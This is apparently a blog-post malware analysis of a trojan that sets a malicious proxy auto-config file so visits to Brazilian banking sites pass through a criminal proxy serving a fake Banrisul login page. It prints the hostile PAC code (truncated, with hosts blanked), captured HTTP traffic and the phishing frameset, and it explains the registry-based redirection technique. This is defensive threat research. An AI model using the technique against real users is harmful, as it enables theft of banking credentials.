Phishing eBanking Credentials Using Web-Proxies

Everybody is talking about banking Trojans like Mebroot, Gozi, ZeuS and SpyEye and how sophisticated they are. But in this post I would like to show you a different and very simple way that cybercriminals can get your banking credentials without using sophisticated Trojans.

While taking a look at the latest malware binaries on AMaDa I came across a sample which have made a suspicious GET request to a .CH website. The HTTP GET request made by the infected machine looks like this:

GET /pages/dyn/dyn/logs HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Win32)
Host: www.*hidden*.ch

The request was made to a hijacked website, therefore I’ve disclosed the address. But what I can say is that the website happens to belong to a Swiss party of the right wing.

The content the infected machine got back from the site looks very suspicious:

<script type='text/javascript'>
function FindProxyForURL(url, host) {
var d = new Array("","","",
for(var i =0;i<d.length;i++) { if (shExpMatch(host, d[i])) {
return "PROXY"; } }

var n = new Array("","","",
for(var i =0;i<n.length;i++) { if (shExpMatch(host, n[i])) {
return "PROXY"; } }

var c = new Array("","","",
for(var i =0;i<c.length;i++) { if (shExpMatch(host, c[i])) {
return "PROXY"; } }

return "DIRECT"; }

Hum… JavaScript code. Does it ring a bell? That’s a PAC file! For those who are not familiar with PAC files: A PAC file is a so called Proxy Auto-Config file which is supported by various web browser to automatically configure the proxy settings of the browser. PAC files are most often used in cooperate networks to tell the web browser to automatically choose the appropriate proxy server (see Wikipedia).

But one question remains: What’s the intend of this PAC file? Well as you probably noticed there are some interesting domain names defined in the PAC file for example If you visit the domains listed above you will notice that all of them are websites of Brazilian Banks.

In fact this means: Whenever a victim visits a website listed in the PAC file using a infected computer, the request will be routed thorught the following web proxy which is located in the USA:

Proxy Host:
Proxy Port: 80
AS number: AS26277
AS name: PREMIANET – Las Vegas NV Datacenter
Country: US

OK, let’s summarize: The victims browser is now using a web proxy which is obviously managed by cybercriminals and used to steal credentials of online banking accounts. But how do the cybercriminals manage to get the credentials? Remember that you can not easily do a man in the middle (MITM) attack on an ebanking session due to the fact that you are using SSL to communicate with your online bank. So if they would do a MITM between your computer and your online bank you would get a certificate warning from your web browser, right?

I was very curious as to how the cybercriminals solved this problem, so I decided to infect a VM with the Trojan and take a closer look at it.

After infecting the computer with the Trojan I tried to open in the web browser:

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Connection: Keep-Alive

Let’s do a short crosscheck on this:

$ dig +short

Looks good: The web browser communicated directly to ( without using the cybercriminal’s proxy.

Let’s do another test and this time we use which is listed in the PAC-file. This means that for this URL the web browser should use the web proxy instead of going to the website directly:

Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Proxy-Connection: Keep-Alive

A short crosscheck:

$ dig +short

As expected the web browser uses the cybercriminal’s web proxy ( instead of connecting to the banks website directly – that’s bad. What is interesting is the content which we get back from the cybercriminal’s web proxy:

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 302
Connection: close
Content-Type: text/html; charset=UTF-8

<title>Portal Internet Banrisul  | Banco do Estado do Rio Grande do Sul, S.A. </title>
<LINK REL="SHORTCUT ICON" href="banrisul.ico" type="image/x-icon">
<frameset rows="100%" border="0" frameborder="0" framespacing="0"><br /><br />
<frame name=top src=></frameset>

That’s not what I’ve expect: This is not the website of the bank we wanted to visit! It’s simple HTML code with a frameset pointing to a different website:

It’s seems to be a legitimate website running Joomla CMS. So most probably this website is hijacked because if we take a look at the “banrisul” directory we will see a replica of the Bank’s website we originally wanted to visit. In the victims web browser it will look like this:

Please notice that the address bar still displays the website of the banking site which we originally wanted to visit. But if we move the cursor over a hyper link on the website we will see the website it is really pointing to. If the victim now want to login to his online bank he will get a web form which animates the victim to enter his account number, password and PIN/TAN:

Of course the credentials won’t be submitted to his online bank rather then to the cybercriminals.

This is a pretty interesting example which shows how easy it can be for cybercriminals to obtain credentials for online banking accounts. If we summarize this simple phishing we are able to make the following conclusions:

  • The cybercriminals does not need to do a MITM, they just fake the website of your online bank. Pretty simple but very effective!
  • Everything that the cybercriminal needs do to on the victims side (client) is to change the address of the PAC-file in the web browser
  • To change the that PAC-files address, the cybercriminals doesn’t even need to install a Trojan horse: They just need a small script which changes a registry key
  • Therefore there is no Trojan horse which can be detected by the AV vendors because changing the address of the PAC file don’t have to be a malicious activity
  • The only chance to mitigate the threat is to detect the malicious script/binaries which change the address of the PAC file before the infection

If the AV-vendors are not able to detect the malicious file before the infection happens, the last line of defense is the network by detecting and mitigating the malicious traffic to the cybercriminal’s web proxy on the network layer. And at least in this case it is another example how poor the AV detection rate can be:

File name: foto.exe
File size: 372224 bytes
MD5: 91a42b9bdca567c31fe1692c13a9de1d
SHA1: 79497ebc0372c8c5352b2f30f9ddb2d0965de3fa
VT Result: 1 /42 (2.4%)

Are the cybercriminals going away from classic eBanking Trojans like ZeuS & Co and go over to the scheme described above? We will see what the future brings…

You can also follow on Twitter:

One thought on “Phishing eBanking Credentials Using Web-Proxies

  1. Pingback: Is my webserver being abused for banking fraud? - Admins Goodies

Leave a Reply

Your email address will not be published. Required fields are marked *